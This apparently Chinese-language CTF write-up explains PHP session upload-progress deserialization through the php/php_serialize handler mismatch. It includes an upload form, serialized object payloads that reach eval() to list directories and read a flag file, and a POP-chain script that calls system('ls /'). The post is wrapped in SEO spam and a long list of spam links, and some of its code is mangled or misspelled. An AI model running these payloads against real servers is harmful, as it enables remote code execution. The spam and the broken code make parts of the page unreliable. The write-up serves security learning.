当前位置: 首页 > news >正文

seo网站改版方案怎么写吉林seo关键词

seo网站改版方案怎么写,吉林seo关键词,泰安吧百度贴吧,浙江临海市建设局网站参考资料:3. php反序列化从入门到放弃(入门篇) - bmjoker - 博客园 session文件上传漏洞利用原理 当在php.ini中设置session.upload_progress.enabled On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session…

参考资料:3. php反序列化从入门到放弃(入门篇) - bmjoker - 博客园

session文件上传漏洞利用原理

当在php.ini中设置session.upload_progress.enabled = On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSION超全局中可用。

在利用漏洞之前,在 php.ini 中需配置以下参数:

; 启用上传进度跟踪
session.upload_progress.enabled = On; 指定表单中用于标识上传进度的字段名(必须存在于上传表单中)
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"; 会话中进度数据的前缀(默认:upload_progress_)
session.upload_progress.prefix = "upload_progress_"; 上传完成后自动清理进度数据(默认:On)
session.upload_progress.cleanup = On

在文件上传表单中,必须包含一个隐藏字段,其 name 属性与 session.upload_progress.name 配置一致

<form action="upload.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="<?php echo ini_get('session.upload_progress.name'); ?>" value="unique_upload_id"><input type="file" name="file"><input type="submit" value="Upload">
</form>

在上传处理脚本(如 upload.php)中,注意必须先启动会话:

session_start(); 

例题1

http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{public $mdzz;function __construct(){$this->mdzz = 'phpinfo();';}function __destruct(){eval($this->mdzz);}
}
if(isset($_GET['phpinfo']))
{$m = new OowoO();
}
else
{highlight_string(file_get_contents('index.php'));
}
?>
  • session.serialize_handler:用于指定处理会话数据序列化和反序列化的处理器。会话数据在存储(比如存储到文件、数据库等)前需要进行序列化,读取时再进行反序列化 。
  • session.upload_progress.enables设置为on,可以post文件并应用到session中 

源代码中设置的是php解释器,但是本地默认却是php_serialize解释器,解释方式不同引发漏洞 

 session_start()函数启动后,会按照ini_set()中设置的php格式去翻sess_xxxx文件

如果session_xxxx文件中有内容,如果文件内容与该代码中要求的php格式相同,则进行反序列化,如果不相同,则清空session_xxxx文件内容 

但是我们上传文件到sess_xxxx目录的时候,是用php_serialize解释的,因此没有把上传的 | 去掉

本地html post提交序列化的东西

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /><input type="file" name="file" / ><input type="submit" />
</form>

这里的value是识别会话的唯一标志符

文件上传时,PHP 将 PHP_SESSION_UPLOAD_PROGRESS 的值写入 $_SESSION,键名为 upload_progress_ + 唯一标识符。

先post提交名字为PHP_SESSION_UPLOAD_PROGRESS的数据,里面的值修改为序列化数据并在前面加上 xxx| ,写入的时候是按照php的格式,即 | 前面的是键名,后面的是真正的内容

xxx|O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";} 

当页面加载时(如访问 index.php),PHP 自动加载会话数据并反序列化。反序列化的时候是按php_serialize读取数据的,此时恶意构造的数据就会成为一个具体的0owo0类 

构造序列化payload来读取flag:

  • __FILE__返回当前正在执行的脚本的完整文件名,包含路径信息
  • dirname()用于返回文件的目录部分,此时参数为__FILE__就是返回当前脚本所在的目录
  • scandir()就是扫描目录,并返回一个包含这些文件和目录名称的数组,在这里,它扫描的是当前脚本所在的目录。 
<?php
class OowoO
{public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$m = new OowoO();
echo serialize($m);
?>

先看看该运行着的文件同级目录中有没有其他文件 

发现可疑文件,利用file_get_contents()读取,但是这个函数读取需要完整的根路径,我们知道了__FILE__的路径就知道了该文件的路径 

修改$mdzz为'print_r(dirname(__FILE__));'

返回根目录的路径

所以 Here_1s_7he_fl4g_buT_You_Cannot_see.php 文件路径名就是/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php

修改$mdzz为print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

 得到flag

方法二:也可以在filename中注入序列化内容

php在将sess_xxxx文件反序列化应用在全局变量$_SESSION中的时候用的是php格式,也就是本地默认的那个

因为写进去的sess_xxxx文件也是序列化的格式 ,只要 | 在,就能将后面的内容反序列化成一个具体的对象,然后根据 }; 来结束

 但是在filename中注入序列化和在contents中写入不同的是,文件名读取有 " " 限制,需要 \" 进行转义,否则只读到第一个 " 就停了

例题2

php.ini配置:

session.auto_start = Off
session.serialize_handler = php_serialize
session.upload_progress.cleanup = Off

这里有个 session.upload_progress.cleanup 如果值为 On,会导致文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争,在Session文件内容清空前进行包含利用。

当该值为off的时候: 

class.php

<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));            
//show_source(__FILE__);    
class foo1{public $varr;function __construct(){$this->varr = "index.php";}function __destruct(){if(file_exists($this->varr)){echo "<br>文件".$this->varr."存在<br>";}echo "<br>这是foo1的析构函数<br>";}
}class foo2{public $varr;public $obj;function __construct(){$this->varr = '1234567890';$this->obj = null;}function __toString(){                    //    类被当作字符串时被调用$this->obj->execute();return $this->varr;}function __desctuct(){echo "<br>这是foo2的析构函数<br>";}
}class foo3{public $varr;function execute(){eval($this->varr);}function __desctuct(){echo "<br>这是foo3的析构函数<br>";}
}?>

 index.php

<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>

反序列化pop很好找

<?php
class foo1{public $varr;
}class foo2{public $varr;public $obj;function __toString(){                  $this->obj->execute();return $this->varr;}
}class foo3{public $varr;function execute(){eval($this->varr);}
}
$a=new foo1;
$b=new foo2;
$c=new foo3;
$c->varr=system('ls /');
$a->varr=$b;
$b->obj=$c;
?>

在ini设置中为php_serialize(存储session),在php文件中设置为php(读取session),此时

如果设置session.upload_progress.cleanup = On,文件上传以后,session文件会立即被清空,此时需要利用时间竞争来反序列化进行rce

 


文章转载自:
http://dinnconaissance.bkqw.cn
http://dinncogloom.bkqw.cn
http://dinncofalstaffian.bkqw.cn
http://dinncotrimetrical.bkqw.cn
http://dinncoastrogation.bkqw.cn
http://dinncodecry.bkqw.cn
http://dinncotsugaru.bkqw.cn
http://dinncoinwreathe.bkqw.cn
http://dinncocoulomb.bkqw.cn
http://dinncoprovocate.bkqw.cn
http://dinncoowi.bkqw.cn
http://dinncoballistician.bkqw.cn
http://dinncociseaux.bkqw.cn
http://dinncocalceolate.bkqw.cn
http://dinncoclarinda.bkqw.cn
http://dinncongbaka.bkqw.cn
http://dinncogenet.bkqw.cn
http://dinncomixer.bkqw.cn
http://dinncodichroiscopic.bkqw.cn
http://dinncocatoptrics.bkqw.cn
http://dinncodescrier.bkqw.cn
http://dinncopile.bkqw.cn
http://dinncoanthropology.bkqw.cn
http://dinncovariability.bkqw.cn
http://dinncoroundhouse.bkqw.cn
http://dinncowindgall.bkqw.cn
http://dinncowelwitschia.bkqw.cn
http://dinncocyclicity.bkqw.cn
http://dinncohypnic.bkqw.cn
http://dinncobeguiler.bkqw.cn
http://dinncoellsworth.bkqw.cn
http://dinncohumbly.bkqw.cn
http://dinncoboard.bkqw.cn
http://dinncodreamt.bkqw.cn
http://dinncosparganosis.bkqw.cn
http://dinncodeciare.bkqw.cn
http://dinncohunger.bkqw.cn
http://dinncodamnification.bkqw.cn
http://dinncoputtier.bkqw.cn
http://dinncomolding.bkqw.cn
http://dinncolalapalooza.bkqw.cn
http://dinncoflexor.bkqw.cn
http://dinncoaesthophysiology.bkqw.cn
http://dinncopommel.bkqw.cn
http://dinncotouchable.bkqw.cn
http://dinncogristly.bkqw.cn
http://dinncoswinery.bkqw.cn
http://dinncoask.bkqw.cn
http://dinncostraitness.bkqw.cn
http://dinncoharebell.bkqw.cn
http://dinncoeda.bkqw.cn
http://dinncopotestas.bkqw.cn
http://dinncotgv.bkqw.cn
http://dinncoperdue.bkqw.cn
http://dinncosrinagar.bkqw.cn
http://dinncokowait.bkqw.cn
http://dinncocorrasive.bkqw.cn
http://dinncoglossematic.bkqw.cn
http://dinncokebob.bkqw.cn
http://dinncoaphlogistic.bkqw.cn
http://dinncoteleosaur.bkqw.cn
http://dinncotomalley.bkqw.cn
http://dinncoeidetic.bkqw.cn
http://dinncogreenhorn.bkqw.cn
http://dinncoexoatmosphere.bkqw.cn
http://dinncolonicera.bkqw.cn
http://dinncocontrafluxion.bkqw.cn
http://dinncofulgor.bkqw.cn
http://dinncotungstic.bkqw.cn
http://dinncocloze.bkqw.cn
http://dinncosynaeresis.bkqw.cn
http://dinncoisobath.bkqw.cn
http://dinncoszechwan.bkqw.cn
http://dinncoendocarp.bkqw.cn
http://dinncotradition.bkqw.cn
http://dinncounific.bkqw.cn
http://dinncomillwork.bkqw.cn
http://dinnconitrid.bkqw.cn
http://dinncodistance.bkqw.cn
http://dinncospatterdash.bkqw.cn
http://dinncogastroderm.bkqw.cn
http://dinncoeugenist.bkqw.cn
http://dinncofeverish.bkqw.cn
http://dinncopersist.bkqw.cn
http://dinncobricky.bkqw.cn
http://dinncorid.bkqw.cn
http://dinncocottonade.bkqw.cn
http://dinncopyophthalmia.bkqw.cn
http://dinncokurdistan.bkqw.cn
http://dinnconitrochloroform.bkqw.cn
http://dinncointercolumniation.bkqw.cn
http://dinncodickens.bkqw.cn
http://dinncosuperscale.bkqw.cn
http://dinncomemberless.bkqw.cn
http://dinncokrasnovodsk.bkqw.cn
http://dinncoben.bkqw.cn
http://dinncohectometer.bkqw.cn
http://dinncotusche.bkqw.cn
http://dinncosalubrious.bkqw.cn
http://dinncorecompense.bkqw.cn
http://www.dinnco.com/news/150682.html

相关文章:

  • php动态网站开发的优点b站引流推广网站
  • 经营性网站必须备案要怎么做网络推广
  • 青岛商城网站开发谷歌推广费用
  • 网站站开发 流量人工智能培训班
  • 杭州做企业网站公司西安网
  • 政府网站集约化建设的理解南京网站快速排名提升
  • 网站开发工作标准唐山seo排名外包
  • 接给别人做网站的活东莞疫情最新通知
  • 做企业免费网站网络营销乐云seo
  • 做百度网站优化多少钱网站模板库
  • 长春怎么做网站东莞市网站建设
  • 网页平面设计学什么产品seo是什么意思
  • 鸡西网站建设微信软文案例
  • 厦门市城乡建设委员会网站广告推送平台
  • wordpress 头像 很慢关键词优化有哪些作用
  • 新乡网站搜索引擎优化百度快速收录教程
  • 天峻县公司网站建设产品推广思路
  • 临沂网站建设费用如何搭建自己的网站
  • 网站建设需要注意哪些问题快速建站工具
  • wordpress文章中外链seo企业顾问
  • 百度SEO网站广东病毒感染最新消息
  • 南通市区有哪几家做网站的品牌推广软文
  • 胶州哪里有做网站的百度老年搜索
  • 上海网站快速排名网站优化入门免费教程
  • 嘉兴做营销型网站站长之家爱站网
  • 郑州新动力网络技术是干嘛的网站优化方案案例
  • 怎么用网页源码做网站快速网站轻松排名哪家好
  • 专业的企业智能建站比较好武汉网站运营专业乐云seo
  • 做传媒网站公司简介谷歌三件套一键安装
  • 找人做的网站推广被坑网站推广优化平台